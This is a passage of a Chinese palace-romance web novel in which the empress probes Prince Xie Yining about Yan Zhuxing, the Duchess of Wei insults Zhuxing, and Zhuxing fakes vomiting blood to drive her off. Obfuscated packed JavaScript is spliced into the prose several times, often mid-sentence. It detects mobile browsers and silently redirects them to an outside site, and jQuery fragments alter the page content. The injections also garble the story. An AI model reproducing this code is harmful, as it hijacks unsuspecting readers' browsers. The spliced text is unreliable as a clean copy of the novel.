“你这孩子,急什么。母后寻你来是想问问你对那定远侯府大小姐,到底是什么想法?可要我去找你父皇给你们赐婚?”皇后笑眯眯地看着他。
谢翊宁一阵无语。
所谓要事相商,就这事?
他认真又无奈地开口:“母后,我说过了,没度过那一劫之前,我不会考虑成婚生子的。我不能那么自私,自己**留下人家孤儿寡母过日子。”
“呸呸呸,我儿一定长命百岁。”皇后轻轻拍了拍他的手背,不许他说下去,但是自己的眼眶却红了。
国师的预言,从未出过错。
她可怜的孩儿,怎么就摊上了这样的命运。
“就算是孤儿寡母,我和你父皇,还有你太子哥哥,都会照顾他们的,让他们一辈子锦衣玉食。你有什么可不放心的。”她不遗余力地劝说了起来。
万一真活不过二十岁,至少得留一个后啊。
谢翊宁看着她,叹了一口气,但依旧没有改口:“母后,我真的无心成婚。”
皇后没想到小儿子这么犟,有些无奈:“那你对定远侯府大小姐那般好,是为了什么?这么多年,母后可从未见过你对哪家千金这么上心。”
谢翊宁一阵语塞。
他无缘无故对晏逐星那么好,没有一个合理的说法,母后肯定也不相信。
思来想去,他决定把重生的事情,换一个说法告知母后。
他斟酌片刻后,开口道:“母后,前不久我做了一个梦,梦到我死在了战场上……”
“不许说这样不吉利的话!”皇后急急忙忙打断他。
自打国师预言后,她便听不得这些死不死的话。
“母后,你先听我说完。”谢翊宁柔声安慰她。
“梦里正是定远侯府大小姐救了我,避免了我被万箭穿心,死无全尸的下场。醒来后,我让停云去打听她,发现她过得不好,很是可怜。所以才会屡次出手帮助。毕竟她也算我的救命恩人。”
皇后听到这么离奇的事情忍不住皱起了眉头:“就因为一个梦?”
谢翊宁振振有词:“梦怎么了。在那之前,我都没见过定远侯府那位大小姐。那我为什么不梦到别人,独独梦到她救了我。说不定上辈子还真发生过那样的事情。”
“你说得也有点道理。”皇后被他说服了。
怕她继续乱来,谢翊宁再次强调:“所以呀,母后您千万别乱点鸳鸯谱了。我若是遇到了心仪的姑娘,一定会请您和父皇赐婚的。”
“好吧。”见他这么坚决,皇后只能点头答应了下来。
送走他后,皇后还是觉得不对劲。
夜里,文昭帝谢如璋来到未央宫,瞧见她一脸严肃,还以为发生了什么大事。
他上前一步将皇后拥在怀中,笑道:“可是今日小石头入宫惹你生气?”
“那倒不是。”皇后摇了摇头。
“我是在琢磨他和定远侯府那个小姑娘的事。”
“哦?他和人家姑娘怎么了?”文昭帝有些好奇。
他和皇后是青梅竹马。
少年夫妻老来伴,一直恩爱有加。
两人直到这个岁数,还有说不完的话。
所有的孩子里,他最喜欢的就是皇后生的两个儿子。
因此对他们都很关注。
谢翊宁屡次给晏逐星撑腰的事情,他早有耳闻。
皇后说起这个就滔滔不绝:“他说他并非心悦人家,可你看他做的那些事情,桩桩件件,明里暗里都在维护人家。我觉得啊,他肯定是心悦那个姑娘。”
“不会吧。这小子从小就厚脸皮,想要什么都是直说,什么时候跟咱们客气过。”文昭帝脱口而出。
皇后被他这话逗笑了,嗔怪地看了他一眼,而后又说起了谢翊宁说的梦。
“他为什么不梦到别人,独独梦到定远侯府大小姐。分明是日有所思夜有所梦。他肯定是爱惨了那个姑娘,只是碍于自己活不到二十的命运,不敢说出口罢了。”
说到最后,皇后心里酸酸的。
她这么一说,文昭帝觉得好像有那么一点道理。
皇后越想越觉得是这么一回事,一把抓住了皇上的手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497775|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,神情飞扬。
“不行不行,儿子不争气,咱们可不能干等着。不然猴年马月才能有儿媳妇。明日我就派人去慰问那个姑娘,让人在她面前多说说石头的好话。你说,之后等她主动了,石头是不是就不会拒绝了?”
“小姑娘主动咱们儿子会不会拒绝,朕不知道,但皇后主动,朕肯定不会拒绝。”文昭帝笑眯眯地牵起皇后的手,亲了一口。
皇后的脸上霎时飞上红云,她抽回了手:“我才没有……”
“好。是朕主动,还请皇后不要拒绝。”他将皇后拦腰抱起,垂头咬住她的耳垂。
惊呼声起。
宫人们羞红了脸,默默退出了寝宫。
……
定远侯府里。
定远侯正和夫人爆发了激烈地争执。
“我都说了,让你先不要去招惹那丫头,你为什么非不听!!!”
“她害我落得这般惨状,我不过是给她下点泻药罢了,这也不行吗?”温如霜愤怒反驳。
“头发长见识短,你何必逞一时之气。招惹了裴明镜,这辈子都别想安生了。”定远侯吼的声音比她还大。
他这个侯爷的头衔,是祖父靠军功挣来的。
到了他父亲那一辈,只上过几回战场。
然而到了他,他一回战场也没去过,他心虚得很。
若是不停地被参,皇上保不准就不许这爵位继续传下去了。
到时候,他还有什么颜面面对列祖列宗。
他不耐烦道:“别说废话,把那丫头要的**契给我。”
温如霜不情不愿地让人把**契交了出来。
定远侯拿到**契摔门而去。
温如霜被这一幕气得尖叫出声。
“啊——!”
光是叫还不解气,她抓起绣枕狠狠砸在地上,这还不够,她把身边能够到的东西全砸了。
晏明月来到她屋子,看到这一幕,心里有些烦躁,但还是耐下性子安慰她:“娘亲,您别生气了。为了姐姐气坏身子,可不值当。”
“你懂什么。裴明镜就算了,那个贱丫头害了我,还要骑在我头上,真是反了她了。”温如霜气得直掉眼泪。
晏明月听到这话,先跟着她附和着辱骂了晏逐星几句,随后道:“我有一个办法,或许能让娘亲出气。”
第32章 这般寡廉鲜耻的做派,倒真是让她开了眼界
“什么法子?”温如霜猛地抬头看向她。
晏明月吞吞吐吐道:“姐姐倚仗的不过是裴大人罢了。若是裴大人的母亲知道这事……”
她没说完,温如霜就反应过来了。
裴明镜的母亲卫国公夫人窦淑容是出了名的严苛。
按照裴明镜家世、相貌和才学,婚事本应早早定下。
就是因为窦淑容挑剔,要求儿媳家世要三代清贵,容貌要堪比洛神,琴棋书画还得样样精通,以至于裴明镜二十一了仍未娶妻。
他们只需稍加透露裴明镜对晏逐星的特别关注,窦淑容必定会出手对付晏逐星。
她这般看重自己的儿子,绝无可能接受身份不明的女子成为裴家儿媳。
“去,让人送**契到国公府的时候,将此事透露给窦夫人。”温如霜当即命李氏去办此事。
……
夜里,裴明镜回到家中,忽然被母亲叫到了跟前。
“母亲寻我何事?”他有些疑惑。
“你可有心仪的姑娘了?”窦淑容轻拍身侧座椅示意儿子落座。
裴明镜摇头:“没有。”
窦淑容不动声色地试探:“你都二十一了。你堂弟比你还小两岁,如今孩子已经会喊爹娘。你也是时候成家了。若当真遇见可心人,大可告诉母亲,母亲自会请人上门替你提亲。”
裴明镜对她话里有话的试探感到十分厌烦。
白日里京兆府勘验案件已耗去他十成精力,他不想回到家中还和家里人玩这种猜来猜去的戏码。
裴明镜揉了揉疲惫的眉心,开口道:“您想问什么直接问就是了,何必搞这些后宅里的弯弯绕绕。”
窦淑容没想到儿子会落她的面子,有些不悦。
她放下手中的茶盏,沉声道:“那你说说,你与那位定远侯府大小姐是怎么一回事?你屡次替她周旋,连贴身侍婢都讨来给你堂妹。这传出去,像什么话。”
她顿了顿,表情变得严肃起来,话音也陡转凌厉。
“若你看上的是她,那就趁早歇了心思。我是绝对不会同意这样的女子嫁入裴家的。”
裴明镜没想到母亲会扯到晏逐星身上。
他抿唇道:“母亲慎言。我与晏大小姐清清白白,只不过因为查案有了些许交集。这样的话若是传出去,岂不是坏了人家名声。”
“我看坏了你的名声才是,她的名声值几个钱。”窦淑容愤愤不平。
出去打听一圈,就没人说晏逐星好话的。
一个来路不明的野种,被领回家了还不知感恩,为了攀高枝还给傻子下药。
这般寡廉鲜耻的做派,倒真是让她开了眼界。
裴明镜眉头拧得更紧了,他不想继续这个话题。
接触几次下来,他已经清楚晏逐星是什么样的人。
她睚眦必报,诡计多端,对仇人狠,对自己也狠,若是招惹了她,她一定会不惜一切代价报仇。
想到这,他提醒道:“母亲,我与她断无可能,你莫要招惹她。”
窦淑容手帕绞得死紧,眼前阵阵发黑,差点没气晕过去。
儿子还是头一回这样维护一个姑娘。
说什么断无可能,分明就是怕她去找那个丫头的麻烦。
她深吸一口气,知道这个阶段不能跟儿子硬起冲突,否则母子离心。
她挤出一抹勉强的笑:“好。都听你的。”
翌日清晨。
窦淑容将裴芜叫来。
“听闻你与定远侯府那位晏大姑娘有些许交情?”
“算是吧。”裴芜摸不准大伯母是什么意思,回答得很含糊。
上回大堂兄让她不许多和晏逐星来往,她便没敢邀请晏逐星上门做客。
听说她坠马伤了腿,也只敢偷偷让人给她送了一些去疤痕的药。
窦淑容慢条斯理地开口:“听说她病了,你怎么不去看看?”
裴芜听出她话外的意思
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504808|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,试探性道:“那我这就给定远侯府递帖子?”
“嗯,递吧。晚些时候我同你一块去定远侯府。”窦淑容点了点头。
她是看不上定远侯一家子的,也不想跟他们有过多的交集。
但如果只是小姑娘间的来往,就显得没有那么刻意了。
没过多久,定远侯府就回了帖子,欢迎裴芜登门做客。
窦淑容便跟着裴芜一块去了侯府。
按照礼数,他们得先去拜访当家主母。
但温如霜如今瘫痪在床,并不想让旁人看到她的糗样,因此直接让人把他们带去了玉澜院见晏逐星。
“逐星,你这腿怎么样了?”裴芜看到腿包得严严实实的晏逐星,眼里流露出担忧。
“太医说好好养几个月就好了。”晏逐星浅浅一笑。
她没想到还会和裴芜有交集。
更没想到,裴明镜的母亲会亲自登门造访。
她提起了十二万分的精神。
她不确定,裴明镜母亲此行的目的是什么。
万一是来替裴明镜套话的,她可不能上当了。
裴芜和晏逐星寒暄了起来,一旁的窦淑容一直在默默观察。
片刻后,她忽然开口:“晏家丫头,我瞧着你这院子里的梅花开得正好,我讨几枝回去插瓶,你不会不舍得吧?”
“国公夫人喜欢,只管命人摘取便是。”晏逐星含笑点头应下。
“阿芜,你替我去摘吧。”窦淑容看向了侄女。
裴芜一愣,明白大伯母是故意将她支走。
她有些担忧地看了一眼晏逐星,她这大伯母可不是一个好相与的。
但她人微言轻,整个裴家都要看着大房的脸色行事,因而没敢说不,点头领着丫鬟去了院子里摘梅花。
屋子里便只剩下了窦淑容和晏逐星,以及他们的心腹丫鬟。
两人对视一眼。
窦淑容脸上的笑意退去,冷冷地看着晏逐星。
第33章 当场就被打脸
晏逐星察觉到了她眼底的厌恶,但她也懒得去戳穿。
讨厌她的人多了去了,卫国公夫人还排不上号。
她不开口,晏逐星也不说话。
窦淑容微微蹙眉,这个小丫头倒是挺沉得住气。
寻常和她一般年纪的小姑娘,被她盯着通常没一会儿就要自乱阵脚了。
晏逐星竟然还挺淡定的。
最后还是窦淑容沉不住气,先开口了:“我今日来,只为和你说一句话。”
晏逐星懒懒地掀开眼皮:“国公夫人请讲。”
窦淑容绷着脸甩出一句:“你不要妄想使那些狐媚子手段勾引我儿,我是绝对不会同意你嫁到国公府的。”
晏逐星:?
这位卫国公夫人在说什么。
勾引裴明镜?
她嫌自己命太长吗。
和那样一个心眼子多的人待在一起,她都紧张得不敢大喘气。
亏她还提心吊胆担心她是来替裴明镜套话的,现在看来是担心过头了。
不等她开口,一旁的衔蝉便开口了。
“国公夫人慎言,我家小姐与裴大人清清白白。”
“主子说话,轮得到你一个下人多嘴么。”窦淑容面罩寒霜,脸色如乌云压境般阴沉。
“果然什么样的主子就会有什么样的丫鬟。没规矩,没教养。”
晏逐星微微一笑:“诶,国公夫人,这是永安王暂时借给我的丫鬟。你是觉得永安王没规矩又没教养么。”
窦淑容面上流露出一丝错愕。
什么,永安王?
怎么可能。
她不相信晏逐星和永安王有什么关系,她喉间滚过一声冷哼方才开口:“你可知胡乱攀扯永安王是什么罪名。”
衔蝉默默将王府的玉牌拿了出来,语气平静地开口:“奴婢在永安王府已经呆了快十年,最近才奉王爷的命令过来伺候大小姐的。大小姐所言,句句属实。”
当场就被打脸,窦淑容的表情变得十分难看。
她猛地站起身:“总之,我不管你和永安王有什么关系,但你休想嫁给我儿子。你这样来路不明的野种,给他做妾也不配。”
晏逐星忍她很久了。
她嗤笑一声:“您实在是多虑了。不仅我不想嫁去你们国公府,这满京城里但凡心疼闺女的人家,谁舍得把掌上明珠往火坑里推。”
窦淑容被她这话气得差点没背过气去。
她竟敢说他们国公府是火坑?
不等她开口,晏逐星竹筒倒豆子般抢道:“您当真不明白裴大人为何至今未娶?”
她眼尾一挑,露出几分讥诮的笑。
“满京城里谁不知道你挑儿媳妇眼高于顶。就算是天上下凡的仙女给你当儿媳妇,你也能挑出各种毛病来。依我看啊,就该把裴大人变成一块传家宝,让您日日捧在掌心里疼着。你们母子俩过一辈子得了,要什么儿媳妇啊。”
“你——”这下窦淑容是真的要气疯了,脸一阵青一阵红。
她儿子这般芝兰玉树,难道不该千挑万选好选一个配得上他的姑娘么。
怎料落到这个野丫头口中,她竟成了个攥着儿子不撒手的腌臜婆母。
双鲤乖巧地给自家小姐倒了一杯热茶。
晏逐星慢条斯理地喝下。
窦淑容看她这副云淡风轻的模样,气得身子都哆嗦了起来。
听到里间似乎起了冲突,摘梅花的裴芜站不住了,匆匆赶了回来。
“大伯母,梅花摘好了,咱们是不是该回府了。”
窦淑容当着侄女的面,不想失态,她强行压下了自己的情绪,冷冷道:“好一个牙尖嘴利的野丫头。我这就问问定远侯夫人去,究竟是怎么养出了你这么一个目无尊卑,顶撞长辈的混账玩意。”
瞧见裴芜进来,晏逐星整个人抖得像风里残烛,泪珠子成串往下砸。
“夫人明鉴,我若有半分攀附国公府的心思,现下就撞死在您面前。求您了,不要去找母亲。要是让母亲误会我勾引了裴大人,我就真的活不下去了。”
话音刚落,她往前倾了倾身子,一口猩红“哇”地喷在绣被上。
“小姐,您怎么吐血了!”双鲤惊叫了起来。
整个玉澜院霎时乱成了一团。
窦淑容目瞪口呆。
先前还伶牙俐齿反驳她,现在瞧见裴芜就卖惨吐血,这野丫头果真心机叵测,手段了得。
“快去请大夫。”裴芜匆忙催促自己的丫鬟。
晏逐星听到这话,忙捏了一下双鲤的手心。
双鲤会意,忙上前阻拦:“裴二小姐,您和夫人先回吧。大夫我已经命人去请了。你们留在这,我怕小姐醒了更难过。”
“你这话什么意思?”窦淑容柳眉倒竖。
“大伯母,这么乱,咱们先回吧。”裴芜怕闹得更厉害,赶忙催促。
她这个大伯母,一直管堂兄管得很紧,任何接近堂兄的姑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504809|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
娘祖宗十八代都会被查清楚。
唉,她早该想到的。
堂兄几次三番和晏逐星有来往,大伯母肯定误会了什么。
大伯母瞧不上定远侯府,今日前来,定然是为了羞辱晏逐星,让她不要痴心妄想。
可她也能看出来,堂兄和晏逐星两人对彼此根本没有情意啊。
早知道,她就不和大伯母一块来探望晏逐星了。
“她肯定装的。”窦淑容有苦说不出。
“嗯,但咱们也该走了。”裴芜顺着她的话点点头。
她不想让大伯母继续留下来,省得刺激晏逐星。
摔断了腿已经够可怜了,现在还要被她大伯母羞辱。
“你好好照顾你家小姐,空了我再来看她。”裴芜有些羞愧地开口。。
见她对晏逐星的丫鬟这么客气,窦淑容气得拂袖离去,临行前,特意让人去和温如霜说了此事。
还放下了一句狠话。
“从今往后,有我的地方不许她出现。否则就是与卫国公府为敌。”
温如霜将这话告诉了定远侯。
定远侯一惊:“她怎么得罪卫国公夫人了?”
“不知道。但能让卫国公夫人说出这样的话,显然是得罪狠了,再无转圜的余地。”温如霜面露担忧,但实际上心里都乐开花了。
“侯爷,要不还是尽早将那野丫头赶出去吧。”
她想明白了。
让晏逐星留在侯府反倒不好动手。
将她撵出去,她一个孤女独身在外,出点什么意外很正常。
定远侯眉头皱得紧紧的。
他有些纠结。
虽然不知道什么原因,但皇后和永安王似乎对晏逐星另眼相待。
就这样把人赶出去,会不会太草率?
见他眉头紧锁,温如霜又道:“如今她名声都坏了,被她带累得我们母女都接不到别家的宴会帖子。皇后娘娘也不提让她入宫教导十公主了,恐怕也已经在心里厌恶她了。”
定远侯一凛,觉得她说得很有道理。
他点点头:“好,那便依夫人所言,将她送出府去吧。给个二百两银子,就当全了这些年的养育之情。也省得落人话病,说咱们无情无义。”
温如霜达成目的,笑意盈盈道:“侯爷想得甚是周全。”
就在他们正准备下令让晏逐星搬出侯府时,管家急匆匆来报:“烈国公夫人领着世子爷上门,说是来探望大小姐。”
第34章 感觉皇后娘娘像是在撮合晏逐星和永安王
“什么?”定远侯和温如霜同时惊呼出声。
温如霜这才想起了那日烈国公说的认亲一事。
从马车掉落后,她就把这事给忘了。
她还以为烈国公只是随口说说,如今烈国公夫人登门,难不成他们是真心实意想认晏逐星为义女的?
“烈国公夫人怎么会带着世子爷登门?”定远侯十分不解。
温如霜张了张嘴,又把实话咽回了肚子里。
若是侯爷知道晏逐星要成为烈国公夫妇的义女,恐怕不会将她赶出去了。
“难不成是上门要说法的?”定远侯越想越偏。
“上回你去了国公府,他们怎么说的?”
他看向了温如霜。
温如霜支支吾吾,不知道该怎么圆话。
这时,一个丫鬟提着裙裾碎步冲了进来。
“侯爷,皇后娘娘跟前的吴嬷嬷又来了,说是给咱们大小姐探病问安。”她声音打着颤,“这会儿带来的赏赐正往玉澜院抬呢。”
“什么?”定远侯和温如霜再一次异口同声地惊呼。
皇后不是应该厌恶了晏逐星么,怎么又送来了赏赐。
“将星儿送走一事之后再议,你如今卧病在床,就不要操心这些琐事了。”定远侯果断做出了决定,转身离去。
温如霜喉头猛地窜上腥甜。
就差一点!
差一点晏逐星就要被赶出去了。
烈国公夫人和皇后的人就不能晚一天再来吗。
……
烈国公夫人领着儿子来了玉澜院,听说晏逐星刚刚吐了血,吓了一跳。
“妹妹,呜呜呜,妹妹难受。”尉迟敦扯着母亲的手,眼里蓄满了眼泪。
他看到病恹恹的晏逐星,一下就哭了。
“不要妹妹变星星,妹妹不要走。”
烈国公夫人知道他这是想起了亲妹妹,一瞬间也红了眼眶。
“哥哥别哭,我没事。”她赶忙安慰尉迟敦。
“没错,妹妹好着呢。”烈国公夫人也跟着附和。
两人轮流哄了一下尉迟敦,唤来双鲤带他去小厨房吃刚蒸出来的糕点,这才让他止住了哭啼。
烈国公夫人握住了晏逐星的手,轻轻拍了拍:“好孩子,你受了什么委屈,只管告诉我。虽然还没有举行认亲宴,但在我心里,你就是我的亲女儿了。”
晏逐星有些愧疚。
她没什么事,只是演戏罢了。
先前趁双鲤给她递茶的间隙,她悄然将早备好的鸡血药囊咽下,随即佯装被气得吐血,这才将那讨人厌的卫国公夫人赶走。
“我没什么事,夫人不必担心。”晏逐星摇了摇头。
看着她这乖巧懂事的模样,烈国公夫人心软得一塌糊涂。
她想到了晞儿。
那孩子也是这样,什么都说没关系,喝药也说不苦,有时候被傻哥哥推倒也不哭不告状。
她们越是这样,就越让人心疼。
两人还没说上几句话,就听到丫鬟跑进来通传。
“大小姐,吴嬷嬷来了。”
晏逐星有些惊讶,皇后面前的心腹嬷嬷怎么来了?
她掀开被子,打算起身,就被急匆匆进来的吴嬷嬷按住了肩。
“姑娘不必拘礼。皇后娘娘听闻姑娘受伤,特命我送了这玉肌膏前来。伤筋动骨最忌挪动,这百日内姑娘就在府里静养,宫里就暂且别去了。”
随后,她俯身替晏逐星掖了掖被角。
“待姑娘伤好后,老奴再来接您入宫。”
“怎敢劳娘娘这般记挂。”晏逐星轻咳几声,命人接过了玉肌膏,又虚空冲皇宫的方向行了一礼。
“多谢娘娘赏赐,辛苦嬷嬷跑这一趟了。”
吴嬷嬷眼角笑纹深了几分,显然对她很满意。
烈国公夫人也很替她高兴,笑道:“玉肌膏千金难求。幸得娘娘垂怜赐药,你这身上的伤定然不会落下疤痕了。待你大安后,定要亲自前往未央宫谢恩才是。”
晏逐星乖乖点头:“谨记夫人教诲。娘娘圣恩,星儿自
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508621|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当铭记于心,日夜不忘。待能下榻,定会亲自去未央宫谢恩。之后再往玄空寺佛前供上三载佛香,愿佛祖庇佑娘娘凤体康泰,千岁长春。”
“你这孩子,还叫什么夫人,多见外呀。唤我一声干娘就是了。”烈国公夫人笑眯眯地看着她。
听到这话,吴嬷嬷心念一动。
外边传言定远侯府大小姐给烈国公世子爷下了**,可如今烈国公夫人却要认她为干女儿,明显事情就不是那么一回事嘛。
看来那些多半是谣传。
她也笑呵呵地跟着搭话:“娘娘若是得知姑娘有这心意,定然十分开怀。对了,除了玉肌膏,娘娘还让我送了一些解闷的小玩意来。”
说罢她命人将赏赐之物拿了出来。
一个紫檀木嵌螺钿云纹棋盘配着上好和田籽玉雕琢而成的双色棋子。
吴嬷嬷笑呵呵道:“容老奴多句嘴。姑娘若闷了,不妨请永安王来手谈几局。咱们永安王呀,最喜欢下棋了。”
紧接着,又拿出了一架青桐木做的古琴。
此琴通体素雅,木质温润如玉,纹理细腻,一看就价值不菲。
“说来也巧,咱们永安王也擅长琴技。此琴王爷先前寻娘娘讨要多回,娘娘都没给。如今却给了姑娘。若王爷得知,少不得要上门讨要。姑娘可千万别给他,最多让他上门多弹几次。”
吴嬷嬷眼尾的笑意加深,烈国公夫人和晏逐星都听出了不对劲。
怎么感觉,皇后娘娘像是在撮合她和永安王?
这可能吗?
吴嬷嬷陆陆续续拿出了几个好东西,随后在她面前翻来覆去地夸了永安王好几回,最后又关心了晏逐星几句,方才回宫。
院外的定远侯没有进去,只是命下人偷偷入内打听吴嬷嬷和烈国公夫人都和晏逐星说了什么。
得知皇后娘娘这般看重晏逐星,烈国公夫人还要认晏逐星当义女。
他猛地一拍大腿。
哎呀,差点就酿成大错了呀!
第35章 被烈国公夫人的话勾起了好奇心
之前一直是温氏针对的晏逐星,他这个父亲只不过出面斥责过一次。
她应当不会记仇吧?
他记得,小时候晏逐星还是很黏着他的。
定远侯在心里打起了小算盘。
“去醉仙楼买份鲍汁扣鹅掌回来。”他扭头嘱咐小厮。
待到烈国公夫人离开后,他得好好跟星儿叙叙这父女之情。
……
吴嬷嬷离开后。
烈国公夫人和晏逐星说起了先前的事。
“我怎么瞧着,皇后娘娘好似属意你嫁给永安王呀?”她微微蹙眉。
晏逐星沉默片刻后,开口道:“干娘,我觉得你想多了。我这样的身份门第高攀不上永安王的。”
她不好把谢翊宁也重生了的事说出来。
她猜测今日皇后娘娘派人来给她送药,多半是谢翊宁在背后出力。
毕竟他说过要报恩。
吴嬷嬷三番几次提永安王,说不定就是在暗示她,此事是永安王所助,让她一定要记得感恩。
烈国公夫人听到她这话,心里有些酸涩。
若晏逐星是定远侯的亲女儿,恐怕侧妃之位还能争一争。
但她身世成谜,如今名声又不好。
帝后这般疼爱永安王,定然不会让她嫁进去。
她握住晏逐星的手,柔声安慰:“无妨。我同你说真心话,即便是皇后娘娘有意,我也不想让你嫁永安王。”
“为何?”晏逐星有些惊讶。
烈国公夫人压低声音:“国师的预言。”
晏逐星也想起了这事。
烈国公夫人叹了一口气:“四年后,你也才十八岁,未来的日子就要一个人走,未免也太辛苦了。你还年轻,不懂寡妇的煎熬。”
而后她摇了摇头。
“嗐,我和你说这些做什么。不过你放心,待你及笄后,干娘一定给你挑个如意郎君。”
说到最后,她脸上重新挂上了笑容。
晏逐星听到这话,鼻腔有些发酸。
烈国公夫人是真的拿她当亲女儿看待了。
若非亲女儿,又怎会替她考虑得这般周全。
“干娘,不急。”晏逐星拒绝了。
“我不想那么早嫁人。女子若是嫁了人,便没有那么自在了。我还想多陪你们和哥哥几年。”
烈国公夫人听到这话深感欣慰。
这孩子,是个知恩图报的。
他们将她认作义女,主要也是希望她能多陪陪敦儿。
毕竟敦儿已经很久没有那么开心了。
若她嫁了人,有了婆家,便不能隔三岔五去国公府照看儿子了。
“男怕入错行,女怕嫁错郎。成婚不急,但寻摸好郎君还是得抓紧时间的。”烈国公夫人莞尔一笑。
“毕竟好儿郎早早就会被人定下了。”
晏逐星虽然无意成婚,但也不好拂了她的美意,只是笑着点了点头。
“小姐,该喝药了。”双鲤将药送了上来,打断了两人的闲谈。
看到药,烈国公夫人想起了刚到玉澜院时他们那个兵荒马乱的阵仗,赶忙追问:“先前没来得及问,究竟发生何事了,你怎么会吐血?”
晏逐星还没开口,双鲤眼珠子一转,就抢先哭诉了起来。
“还不是卫国公夫人羞辱我家小姐。”
她一边抹眼泪一边把先前窦淑容说的那些话活灵活现地重复了一遍。
她现在演起这些哭戏来,得心应手。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508622|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>晏逐星看着忍俊不禁,但意识到自己的情绪不对,赶忙压了压唇角,将脸埋到药碗中仰头将药喝下。
再放下碗时,脸上没了笑意,全是委屈和伤心。
烈国公夫人听着双鲤的复述,顿时勃然大怒:“有她那样的婆婆,谁家会把女儿送去受罪啊。”
晏逐星赞同地点了点头。
她也是这么觉得的。
烈国公夫人赶忙安慰晏逐星:“好孩子。你别怕,有干娘在呢。她若再说这些混账话,你就告诉干娘。就她那样还想给儿子娶高门贵女,我呸。”
早些年裴明镜确实是个香饽饽。
京城里许多人家都想将女儿许给他。
偏卫国公夫人窦氏是个挑剔严苛的主儿,几次相看都未相中合适人选,反倒把国公府严苛的规矩传了出来。
新妇晨昏定省一日不可缺。
卯时就要梳洗侍膳,巳时需得将中馈账册誊抄查阅,酉时三刻还得携账册禀事,戌正二刻又要给祠堂的长明灯添足灯油。
据说犯了错还得去祠堂跪地罚抄《女诫》,每错一字加罚三页。
纵是当朝皇后,嫔妃们去未央宫请安也不过五日一回,哪里像她这般严苛。
家世相当的情况下,谁愿意让家中嫡女去遭这个罪啊。
可偏偏窦氏又不愿意降低自己的要求,非说自己当初能做到,为**妇做不到。
挑来挑去,愣是从裴明镜十五岁挑到了现在,也没挑到一个满意的。
晏逐星还是头一回听到那么多密辛,她被烈国公夫人的话勾起了好奇心,忍不住问道:“不是说太后很偏疼裴大人么,他至今未娶,太后不着急么?怎么不给他赐婚。”
第36章 对她颇有好感,她怎么毫不知情呢
“怎么不急。”说起这些事来,烈国公夫人精神奕奕。
“他可是太后娘家的独苗苗,太后老早就要给他说亲了。可偏偏不知道窦氏怎么跟她老人家说的,竟然让她同意,硬生生将裴明镜的婚事拖到了现在。”
“不过我看太后应该是坐不住了,这几个月频繁召裴明镜入宫,估摸着快要给他定下婚事了。”
晏逐星若有所思,她询问道:“那您可知,先前卫国公夫人和哪家相看没成?”
烈国公夫人思索片刻:“相看不成一般都不会说出来。不过我瞧着太傅大人的嫡长孙女陆壁君应该是与他们家相看过的。”
听到“太傅”二字,她忽然想起做鬼的时候听到晏明远说的那些话。
他说太傅的孙子陆池**。
算了算时间,应该是她死后不久,也就是四年后。
晏明远还说陆池对她颇有好感,她怎么毫不知情呢。
印象里,她好像并不认识陆太傅的这位孙子。
“你想什么呢?你不会真看上裴明镜了吧?”见她久久不说话,烈国公夫人在她面前挥了挥手,示意她回神。
晏逐星忙道:“绝无此意。”
听到这话,烈国公夫人松了一口气。
“那就好。裴明镜此人虽然不错,但有窦氏那般持家严苛的婆母,你嫁过去日子不会好过的。”
“嗯,我听干娘的。”晏逐星乖乖点头。
外边玩雪的尉迟敦噔噔噔地跑了进来,脸上满是期待的笑:“妹妹,雪人堆好了,你快去看吧!”
